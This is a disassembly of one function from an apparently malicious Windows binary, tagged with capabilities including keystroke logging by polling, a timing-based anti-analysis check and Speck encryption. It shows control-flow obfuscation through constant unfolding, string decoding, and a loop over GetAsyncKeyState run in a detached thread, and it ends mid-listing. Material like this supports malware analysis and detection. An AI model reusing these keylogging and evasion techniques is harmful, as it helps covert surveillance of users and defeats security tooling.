Function at 0x14001bbbe
Capabilities:
Authenticate hmac
Check for time delay via queryperformancecounter
Encrypt data using speck
Hash data using murmur3
Log keystrokes via polling

Disassembly:
push rax
pushf
mov eax, 0x9117bd77
pushf
not eax
add eax, 0x8d769934
xor eax, 0x8d8fa033
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xb04835c2
xor eax, 0xc20e0650
rol eax, 0x25
popf
cmp eax, 0x29
jne 0x14001bbfb
popf
pop rax
jmp 0x14001d9b5
cmp eax, 0
jne 0x14001bc0a
popf
pop rax
jmp 0x14001bf43
cmp eax, 3
jne 0x14001bc19
popf
pop rax
jmp 0x14001c27c
cmp eax, 1
jne 0x14001bc28
popf
pop rax
jmp 0x14001c04a
cmp eax, 0xd
jne 0x14001bc37
popf
pop rax
jmp 0x14001c96f
cmp eax, 0x1a
jne 0x14001bc46
popf
pop rax
jmp 0x14001d225
cmp eax, 0xe
jne 0x14001bc55
popf
pop rax
jmp 0x14001ca04
cmp eax, 0x31
jne 0x14001bc64
popf
pop rax
jmp 0x14001ddf6
cmp eax, 0x19
jne 0x14001bc73
popf
pop rax
jmp 0x14001d1c1
cmp eax, 8
jne 0x14001bc82
popf
pop rax
jmp 0x14001c5cc
cmp eax, 0x2a
jne 0x14001bc91
popf
pop rax
jmp 0x14001da46
cmp eax, 0x17
jne 0x14001bca0
popf
pop rax
jmp 0x14001d07d
cmp eax, 0x1c
jne 0x14001bcaf
popf
pop rax
jmp 0x14001d30f
cmp eax, 0x2e
jne 0x14001bcbe
popf
pop rax
jmp 0x14001dc0a
cmp eax, 0x18
jne 0x14001bccd
popf
pop rax
jmp 0x14001d11c
cmp eax, 0x2b
jne 0x14001bcdc
popf
pop rax
jmp 0x14001dae5
cmp eax, 0x1b
jne 0x14001bceb
popf
pop rax
jmp 0x14001d27a
cmp eax, 0x2d
jne 0x14001bcfa
popf
pop rax
jmp 0x14001dbb5
cmp eax, 0x23
jne 0x14001bd09
popf
pop rax
jmp 0x14001d5ee
cmp eax, 0x25
jne 0x14001bd18
popf
pop rax
jmp 0x14001d731
cmp eax, 0x32
jne 0x14001bd27
popf
pop rax
jmp 0x14001de2e
cmp eax, 0x13
jne 0x14001bd36
popf
pop rax
jmp 0x14001cdcc
cmp eax, 0x33
jne 0x14001bd45
popf
pop rax
jmp 0x14001ded3
cmp eax, 0x24
jne 0x14001bd54
popf
pop rax
jmp 0x14001d6e5
cmp eax, 0x1e
jne 0x14001bd63
popf
pop rax
jmp 0x14001d444
cmp eax, 0xc
jne 0x14001bd72
popf
pop rax
jmp 0x14001c8d9
cmp eax, 0x26
jne 0x14001bd81
popf
pop rax
jmp 0x14001d780
cmp eax, 0x27
jne 0x14001bd90
popf
pop rax
jmp 0x14001d834
cmp eax, 0x30
jne 0x14001bd9f
popf
pop rax
jmp 0x14001dd2f
cmp eax, 0x10
jne 0x14001bdae
popf
pop rax
jmp 0x14001cb96
cmp eax, 0x37
jne 0x14001bdbd
popf
pop rax
jmp 0x14001e06d
cmp eax, 9
jne 0x14001bdcc
popf
pop rax
jmp 0x14001c694
cmp eax, 4
jne 0x14001bddb
popf
pop rax
jmp 0x14001c3b3
cmp eax, 0x16
jne 0x14001bdea
popf
pop rax
jmp 0x14001cfd9
cmp eax, 0x28
jne 0x14001bdf9
popf
pop rax
jmp 0x14001d929
cmp eax, 0xa
jne 0x14001be08
popf
pop rax
jmp 0x14001c6f4
cmp eax, 0x36
jne 0x14001be17
popf
pop rax
jmp 0x14001e020
cmp eax, 0x14
jne 0x14001be26
popf
pop rax
jmp 0x14001ce2d
cmp eax, 7
jne 0x14001be35
popf
pop rax
jmp 0x14001c51a
cmp eax, 0x34
jne 0x14001be44
popf
pop rax
jmp 0x14001df55
cmp eax, 2
jne 0x14001be53
popf
pop rax
jmp 0x14001c23c
cmp eax, 0x20
jne 0x14001be62
popf
pop rax
jmp 0x14001d486
cmp eax, 0x1d
jne 0x14001be71
popf
pop rax
jmp 0x14001d39f
cmp eax, 0x11
jne 0x14001be80
popf
pop rax
jmp 0x14001cc5f
cmp eax, 0x35
jne 0x14001be8f
popf
pop rax
jmp 0x14001dfbf
cmp eax, 0x2f
jne 0x14001be9e
popf
pop rax
jmp 0x14001dc79
cmp eax, 0x12
jne 0x14001bead
popf
pop rax
jmp 0x14001cd28
cmp eax, 0x21
jne 0x14001bebc
popf
pop rax
jmp 0x14001d517
cmp eax, 0x38
jne 0x14001becb
popf
pop rax
jmp 0x14001e0ff
cmp eax, 0xb
jne 0x14001beda
popf
pop rax
jmp 0x14001c72c
cmp eax, 0xf
jne 0x14001bee9
popf
pop rax
jmp 0x14001ca92
cmp eax, 0x15
jne 0x14001bef8
popf
pop rax
jmp 0x14001cefc
cmp eax, 5
jne 0x14001bf07
popf
pop rax
jmp 0x14001c42e
cmp eax, 6
jne 0x14001bf16
popf
pop rax
jmp 0x14001c48a
cmp eax, 0x22
jne 0x14001bf25
popf
pop rax
jmp 0x14001d555
cmp eax, 0x2c
jne 0x14001bf34
popf
pop rax
jmp 0x14001db77
cmp eax, 0x1f
jne 0x14001bf43
popf
pop rax
jmp 0x14001d47c
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xf0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x17], rax
xor r15d, r15d
call fcn.1400222dd
call fcn.1400384a2
jmp 0x14001bf86
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argv]
mov rdx, qword [rax]
mov rdx, qword [rdx]
lea rcx, [rbp - 0x79]
call fcn.140028618
mov rcx, rax
call fcn.140019501
movups xmm3, xmmword [0x140009580]
movups xmmword [rbp - 0x59], xmm3
mov r8d, r15d
cmp dword [0x14000c098], 2
jl 0x14001bff1
push rax
pushf
mov eax, 0xba0fbcec
pushf
not eax
add eax, 0xd7a9939d
xor eax, 0xd231e74c
rol eax, 0x87
popf
pushf
not eax
add eax, 0xbdc1ec60
xor eax, 0xe9acedf8
rol eax, 0x4e
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x11c7341f
pushf
not eax
add eax, 0xe258d75b
xor eax, 0x8e4a665b
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xc05068d8
xor eax, 0xfa667531
rol eax, 0x99
popf
pushf
not eax
add eax, 0xdfaa17de
xor eax, 0xe2d7658f
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x922b1303
xor eax, 0xdeb32a3a
rol eax, 0x6a
popf
jmp 0x14001bbec
movdqa xmm5, xmmword [0x1400098b0]
movdqa xmm6, xmmword [str.88889999]
movdqa xmm7, xmmword [0x140009890]
movdqa xmm2, xmmword [0x1400097f0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movdqa xmm4, xmmword [0x140009870]
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm7
movd eax, xmm3
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x59], xmm2
movdqa xmm2, xmmword [0x140009800]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm7
movd xmm0, dword [rbp - 0x55]
xorps xmm2, xmm0
movd dword [rbp - 0x55], xmm2
movdqa xmm3, xmmword [0x140009810]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm7
movd xmm0, dword [rbp - 0x51]
xorps xmm3, xmm0
movd dword [rbp - 0x51], xmm3
movdqa xmm2, xmmword [0x140009820]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm7
movd xmm0, dword [rbp - 0x4d]
xorps xmm2, xmm0
movd dword [rbp - 0x4d], xmm2
jmp 0x14001c3b3
lea r9, [rbp - 0x59]
nop word [rax + rax]
push rax
pushf
mov eax, 0xa236341b
pushf
not eax
add eax, 0xe4baa4a0
xor eax, 0xd218ccab
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xaabd9b31
xor eax, 0xb1b3cf5e
rol eax, 0x3c
popf
jmp 0x14001bbec
mov eax, 0x1116d578
pushf
not eax
add eax, 0x893520ac
xor eax, 0xab664e72
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xc2c1f0e5
xor eax, 0x84beea94
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xc246197b
xor eax, 0xf410487b
rol eax, 0x50
popf
pushf
not eax
add eax, 0x8b4245d6
xor eax, 0xf853eb55
rol eax, 0x7b
popf
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
push rdx
not edx
sub eax, edx
pop rdx
sub eax, 1
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14001c35a
push rax
pushf
mov eax, 0xa9d769bd
pushf
not eax
add eax, 0x924d8b70
xor eax, 0xc5f3007a
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xc2cfd99d
xor eax, 0xb30a0152
rol eax, 0x51
popf
pushf
not eax
add eax, 0xd32b35a4
xor eax, 0xca42b1d5
rol eax, 0xc9
popf
pushf
not eax
add eax, 0x9ff61f8a
xor eax, 0xdd3365ea
rol eax, 0x2b
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x9bf0367
pushf
not eax
add eax, 0xef82e8b2
xor eax, 0xe3e51441
rol eax, 0x54
popf
pushf
not eax
add eax, 0xafe7e9c3
xor eax, 0xe30bfebd
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xdf8f1208
xor eax, 0xed961ea6
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xb60e454e
xor eax, 0xc4132215
rol eax, 0xa5
popf
jmp 0x14001bbec
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x79]
call fcn.140028618
nop
cmp qword [rax + 0x18], 0xf
jbe 0x14001c3fb
push rax
pushf
mov eax, 0xd099965e
pushf
not eax
add eax, 0x868f1016
xor eax, 0xbd1c63a7
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xc0c44f05
xor eax, 0xf044071c
rol eax, 0x7b
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x27980627
pushf
not eax
add eax, 0xe27852e8
xor eax, 0xbdbc0380
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xa922a14f
xor eax, 0xbd99394e
rol eax, 0x92
popf
jmp 0x14001bbec
mov rax, qword [rax]
push rax
pushf
mov eax, 0xfae87f8b
pushf
not eax
add eax, 0xfd6be4a6
xor eax, 0xb6e3530a
rol eax, 0xc8
popf
pushf
not eax
add eax, 0x9d59f0f7
xor eax, 0x8ed1c53a
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xa56dc54b
xor eax, 0xa5b51948
rol eax, 0xda
popf
pushf
not eax
add eax, 0xaedd8fdd
xor eax, 0x9322892b
rol eax, 0xc0
popf
jmp 0x14001bbec
mov rdx, rax
lea rcx, [rbp - 9]
call fcn.140028618
nop
mov rdx, qword [rbp - 0x61]
cmp rdx, 0xf
jbe 0x14001c4d4
push rax
pushf
mov eax, 0x6b187801
pushf
not eax
add eax, 0xa29d88a6
xor eax, 0xed70497b
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xbf9126f1
xor eax, 0xea29d785
rol eax, 0xb4
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x23c56ce
pushf
not eax
add eax, 0xe7ae6467
xor eax, 0x9ce8bbf4
rol eax, 0x61
popf
pushf
not eax
add eax, 0x9e26e4ad
xor eax, 0xc4062c34
rol eax, 0xed
popf
pushf
not eax
add eax, 0xc8eab3b9
xor eax, 0xdddea5da
rol eax, 0xcc
popf
jmp 0x14001bbec
inc rdx
mov rcx, qword [rbp - 0x79]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c586
push rax
pushf
mov eax, 0x80d838ea
pushf
not eax
add eax, 0xd7d1dc34
xor eax, 0xf0451bdd
rol eax, 0x17
popf
pushf
not eax
add eax, 0xca39ac1b
xor eax, 0xdd6ec9ab
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xcf0e4db4
xor eax, 0xe68eb3bd
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xebaace47
xor eax, 0xb89c414a
rol eax, 0x4c
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x6f79c248
pushf
not eax
add eax, 0xed252617
xor eax, 0x86388765
rol eax, 0x64
popf
pushf
not eax
add eax, 0xef3c2281
xor eax, 0xa2e334d4
rol eax, 0x22
popf
pushf
not eax
add eax, 0xe0254a78
xor eax, 0x83ab3e21
rol eax, 0x92
popf
jmp 0x14001bbec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001c63a
push rax
pushf
mov eax, 0xfe50d725
pushf
not eax
add eax, 0xeb9362b8
xor eax, 0xfd06b6b2
rol eax, 0x1d
popf
pushf
not eax
add eax, 0x89d12e07
xor eax, 0x9a780a3c
rol eax, 0xf6
popf
pushf
not eax
add eax, 0x9139be55
xor eax, 0xc5b90476
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xb21f510a
xor eax, 0xc3387b72
rol eax, 0x4e
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0xa773fe12
pushf
not eax
add eax, 0xcd879ff4
xor eax, 0xc2d48c3f
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x95463d16
xor eax, 0xa5917c85
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xf42efa3a
xor eax, 0xfeec8d2f
rol eax, 0xc
popf
pushf
not eax
add eax, 0xfb4e89c9
xor eax, 0xb6dfedf9
rol eax, 0xa7
popf
jmp 0x14001bbec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140023e67
push rax
pushf
mov eax, 0x2d2c64f4
pushf
not eax
add eax, 0xabd5ffd8
xor eax, 0x893edaf2
rol eax, 0x81
popf
pushf
not eax
add eax, 0xcbb33bf6
xor eax, 0xdde4bbd2
rol eax, 0xab
popf
jmp 0x14001bbec
mov qword [rbp - 0x69], r15
mov qword [rbp - 0x61], send
mov byte [rbp - 0x79], 0
lea rcx, [rbp - 9]
call fcn.140016567
mov ecx, 0xf2a3fa1e
pushf
not ecx
add ecx, 0x911452b0
xor ecx, 0xc002bc09
rol ecx, 0x1e
popf
pushf
not ecx
add ecx, 0xd9d54c51
xor ecx, 0xc238942a
rol ecx, 0x1b
popf
call fcn.1400120b3
mov rbx, rax
mov qword [rbp - 0x59], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [rax], r15
mov qword [rax + 8], r15
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r15
mov qword [rax + 0x20], r15
mov qword [rax + 0x28], r15
mov qword [rax + 0x30], r15
mov rcx, rax
call fcn.14001b6b1
nop
mov qword [rbp - 0x49], rbx
lea rcx, [rbp - 0x21]
jmp 0x14001c7bb
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, 0x29280fec
pushf
not ecx
add ecx, 0xbc1f2dfc
xor ecx, 0xf04ba5ee
rol ecx, 4
popf
pushf
not ecx
add ecx, 0xba468281
xor ecx, 0xb2c09659
rol ecx, 0x15
popf
pushf
not ecx
add ecx, 0xfc51998f
xor ecx, 0xf80dbf5e
rol ecx, 0xb4
popf
pushf
not ecx
add ecx, 0x91914d96
xor ecx, 0xbfec6f0a
rol ecx, 0x1f
popf
call fcn.1400120b3
lea rcx, [0x1822e11b2]
pushf
sub rcx, 0x422de1e2
popf
mov qword [rax], rcx
mov qword [rbp - 0x59], rax
lea rcx, [rbp - 0x11]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x19a1b9e00]
pushf
sub r8, 0x5a1b6210
popf
xor edx, edx
xor ecx, ecx
jmp 0x14001c860
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x19], rax
test rax, rax
je 0x14001c8a6
push rax
pushf
mov eax, 0xfd891149
pushf
not eax
add eax, 0xfccd451a
xor eax, 0xe805ba79
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xcfe34fba
xor eax, 0xa16c3c67
rol eax, 0xb0
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x3bca7f76
pushf
not eax
add eax, 0x8a2cd1e6
xor eax, 0xf0fde2cc
rol eax, 0x32
popf
pushf
not eax
add eax, 0x996072ab
xor eax, 0xd6d1762c
rol eax, 0xfa
popf
jmp 0x14001bbec
cmp dword [rbp - 0x11], 0
je 0x14001c929
push rax
pushf
mov eax, 0x38b03176
pushf
not eax
add eax, 0xf774cdd9
xor eax, 0x8300c9dc
rol eax, 0x82
popf
pushf
not eax
add eax, 0xdf9b932e
xor eax, 0x921a1ef6
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xb07bb34d
xor eax, 0xd1d7b09c
rol eax, 0xb7
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x5e2636a0
pushf
not eax
add eax, 0x8d1ae9d7
xor eax, 0xb1e202a4
rol eax, 0x14
popf
pushf
not eax
add eax, 0xb9b1008f
xor eax, 0x9312336d
rol eax, 0x12
popf
pushf
not eax
add eax, 0xec653b8e
xor eax, 0xfb2c6bd9
rol eax, 0x9b
popf
jmp 0x14001bbec
movaps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 0x59], xmm0
lea rcx, [rbp - 0x59]
jmp 0x14001c97d
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14001c9d1
push rax
pushf
mov eax, 0xaae64037
pushf
not eax
add eax, 0xbd3aa928
xor eax, 0xdba9cb01
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xe2026b71
xor eax, 0x9819d2f4
rol eax, 0x26
popf
pushf
not eax
add eax, 0x9906dda7
xor eax, 0xa267d43f
rol eax, 0xee
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0xba8e66c6
pushf
not eax
add eax, 0xe02be1a4
xor eax, 0xe5270b0e
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xebabe0c9
xor eax, 0x98a039ab
rol eax, 0xa8
popf
jmp 0x14001bbec
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x41], xmm1
mov rdi, r15
mov qword [rbp - 0x31], r15
movsd xmm6, qword [0x1400097c8]
movsd xmm7, qword [0x1400097c0]
mov rsi, qword [rbp - 0x41]
nop word [rax + rax]
push rax
pushf
mov eax, 0xda04c07d
pushf
not eax
add eax, 0x8c459ab0
xor eax, 0xe0b9153f
rol eax, 7
popf
pushf
not eax
add eax, 0xdd0402d4
xor eax, 0x8f1dc3a9
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xb298e4ac
xor eax, 0xab2ce583
rol eax, 0x75
popf
pushf
not eax
add eax, 0xd91303f4
xor eax, 0xb00f457f
rol eax, 0x3f
popf
jmp 0x14001bbec
mov ecx, 0x2f4d06de
pushf
not ecx
add ecx, 0xf8f59b47
xor ecx, 0xf77eec01
rol ecx, 0x97
popf
pushf
not ecx
add ecx, 0x89fa6e00
xor ecx, 0x9fd6fafc
rol ecx, 0x98
popf
pushf
not ecx
add ecx, 0xe6974927
xor ecx, 0xa6ccbb6e
rol ecx, 0x9a
popf
jmp 0x14001cad7
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
jne 0x14001cb3d
push rax
pushf
mov eax, 0x99801c40
pushf
not eax
add eax, 0xb676dbb4
xor eax, 0xe133c6e5
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xec597858
xor eax, 0xac1186ae
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xadd13c49
xor eax, 0xb41ed0bd
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xc792a061
xor eax, 0xfa0c2cf4
rol eax, 0xb2
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x91512c98
pushf
not eax
add eax, 0x88b9c62f
xor eax, 0xb81f183b
rol eax, 0x18
popf
pushf
not eax
add eax, 0xfb2661f7
xor eax, 0xb57f557a
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x887871da
xor eax, 0xa2c08284
rol eax, 0xba
popf
pushf
not eax
add eax, 0xd6c5db75
xor eax, 0xd2fc7f23
rol eax, 0x9d
popf
jmp 0x14001bbec
mov ecx, 0x7a450935
pushf
not ecx
add ecx, 0xaf43477c
xor ecx, 0xd742f1f8
rol ecx, 0x57
popf
pushf
not ecx
add ecx, 0xc059a408
xor ecx, 0xe587c5a0
rol ecx, 0x4c
popf
jmp 0x14001cbc6
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
jne 0x14001cc19
push rax
pushf
mov eax, 0x832b93de
pushf
not eax
add eax, 0xe5df7c03
xor eax, 0xb8752487
rol eax, 0xde
popf
pushf
not eax
add eax, 0x92358482
xor eax, 0xb8b16b86
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xad2f0570
xor eax, 0xe24388f2
rol eax, 0xe0
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x7a9e516e
pushf
not eax
add eax, 0xf5b0edd7
xor eax, 0x85a3f714
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xfbd7b71d
xor eax, 0xf8e933d5
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xdc2aa3e4
xor eax, 0xa667a0e4
rol eax, 0x16
popf
jmp 0x14001bbec
mov ecx, 0xd5afcd6b
pushf
not ecx
add ecx, 0xd3d3c1b2
xor ecx, 0xa073aa2c
rol ecx, 0x8e
popf
pushf
not ecx
add ecx, 0xfc7ceffe
xor ecx, 0xe4e25863
rol ecx, 0xdf
popf
jmp 0x14001cc8f
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
je 0x14001cce2
push rax
pushf
mov eax, 0xd6b02dc8
pushf
not eax
add eax, 0x921fba42
xor eax, 0x9506197d
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xac6cd6ba
xor eax, 0xc2541d51
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xda77445b
xor eax, 0xbf63790a
rol eax, 0x2b
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0xa4056a20
pushf
not eax
add eax, 0x8b6da9f0
xor eax, 0xdc2846f9
rol eax, 0x73
popf
pushf
not eax
add eax, 0xfecf5196
xor eax, 0xc6e27fe1
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xd4fc4860
xor eax, 0xd7fcae43
rol eax, 0x57
popf
jmp 0x14001bbec
test rbx, rbx
je 0x14001cd86
push rax
pushf
mov eax, 0x81513a44
pushf
not eax
add eax, 0xce209844
xor eax, 0xba72ed02
rol eax, 0xf
popf
pushf
not eax
add eax, 0xedd08b0d
xor eax, 0xef827105
rol eax, 0xec
popf
pushf
not eax
add eax, 0xb715cfcf
xor eax, 0xe0084441
rol eax, 0x56
popf
pushf
not eax
add eax, 0xea7f00b8
xor eax, 0xd25937ae
rol eax, 0x3e
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0xd00925eb
pushf
not eax
add eax, 0x933ce294
xor eax, 0xcce05474
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xa75e2c20
xor eax, 0xb0dfa15f
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xd8651d4b
xor eax, 0x982ba656
rol eax, 0x48
popf
jmp 0x14001bbec
mov rcx, rbx
call fcn.140017dc5
push rax
pushf
mov eax, 0xcfddb631
pushf
not eax
add eax, 0xeee714d6
xor eax, 0xf0174ecf
rol eax, 0x48
popf
pushf
not eax
add eax, 0x8f3dc21e
xor eax, 0xa1485935
rol eax, 0x95
popf
pushf
not eax
add eax, 0xd9d13e94
xor eax, 0xb93388c6
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xf79b61d7
xor eax, 0xa83ca8a2
rol eax, 0xf1
popf
jmp 0x14001bbec
mov ecx, 0xcd5e5076
pushf
not ecx
add ecx, 0xb5ea7463
xor ecx, 0xc63a68ea
rol ecx, 0xec
popf
pushf
not ecx
add ecx, 0xb9d58499
xor ecx, 0x82ce9051
rol ecx, 0x72
popf
pushf
not ecx
add ecx, 0x956b774e
xor ecx, 0xcfc8179f
rol ecx, 0x8d
popf
jmp 0x14001ce72
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
je 0x14001cec9
push rax
pushf
mov eax, 0x57c860a6
pushf
not eax
add eax, 0xea1892c4
xor eax, 0xf6406314
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xf0197ed0
xor eax, 0xa2e32f12
rol eax, 0xca
popf
pushf
not eax
add eax, 0xa236d42c
xor eax, 0x8c516db8
rol eax, 6
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0xf759b680
pushf
not eax
add eax, 0x8d55eba9
xor eax, 0x8e334436
rol eax, 0x66
popf
pushf
not eax
add eax, 0xcab24eff
xor eax, 0xd6d69b78
rol eax, 0x36
popf
jmp 0x14001bbec
mov r8d, 0xf013aa66
pushf
not r8d
add r8d, 0xfd617941
xor r8d, 0xe20774d6
rol r8d, 0x9b
popf
pushf
not r8d
add r8d, 0xefb4c06e
xor r8d, 0xc83a6a9d
rol r8d, 0x66
popf
lea rdx, [rbp - 0x79]
lea rcx, [rbp - 0x49]
call fcn.1400129ff
mov rbx, rax
lea rax, [rbp - 0x41]
cmp rax, rbx
je 0x14001cf80
push rax
pushf
mov eax, 0xbe4a08bc
pushf
not eax
add eax, 0xdf67b169
xor eax, 0xa7d6c7ce
rol eax, 0xb
popf
pushf
not eax
add eax, 0xc6d7c945
xor eax, 0xeb5cb50b
rol eax, 0xa2
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0xe32ba749
pushf
not eax
add eax, 0x861e2f21
xor eax, 0xf0da8549
rol eax, 0x35
popf
pushf
not eax
add eax, 0xfcd64354
xor eax, 0x9e686db5
rol eax, 0x67
popf
pushf
not eax
add eax, 0xf3b32b1e
xor eax, 0xbdb80097
rol eax, 7
popf
pushf
not eax
add eax, 0xe9c6db77
xor eax, 0xc12a9df8
rol eax, 0xb9
popf
jmp 0x14001bbec
test rsi, rsi
je 0x14001d037
push rax
pushf
mov eax, 0x2bc860d6
pushf
not eax
add eax, 0xa564bad9
xor eax, 0xaa85ce7f
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xab024763
xor eax, 0xbc1cf3f0
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xaae2e99a
xor eax, 0xb3ef0c8e
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xad8788fc
xor eax, 0x891d522c
rol eax, 0x47
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x54d86c70
pushf
not eax
add eax, 0xabb9bd4b
xor eax, 0xb5f93e86
rol eax, 0x32
popf
pushf
not eax
add eax, 0xe2c5ac07
xor eax, 0x9afc56cd
rol eax, 0x64
popf
pushf
not eax
add eax, 0xbee2667f
xor eax, 0x83fe8ff3
rol eax, 0xb3
popf
jmp 0x14001bbec
sub rdi, rsi
and rdi, 0xfffffffffffffffc
mov rax, rsi
cmp rdi, 0x1000
jb 0x14001d0c3
push rax
pushf
mov eax, 0x801b6842
pushf
not eax
add eax, 0xbe91902b
xor eax, 0xb547d792
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x80c28dac
xor eax, 0xac64fe28
rol eax, 0x51
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0xf38eed50
pushf
not eax
add eax, 0xc04c22cc
xor eax, 0xde4daedd
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xe4019bdf
xor eax, 0xc7082e70
rol eax, 0x41
popf
pushf
not eax
add eax, 0xe4fdfb1a
xor eax, 0x9af12259
rol eax, 0xd6
popf
pushf
not eax
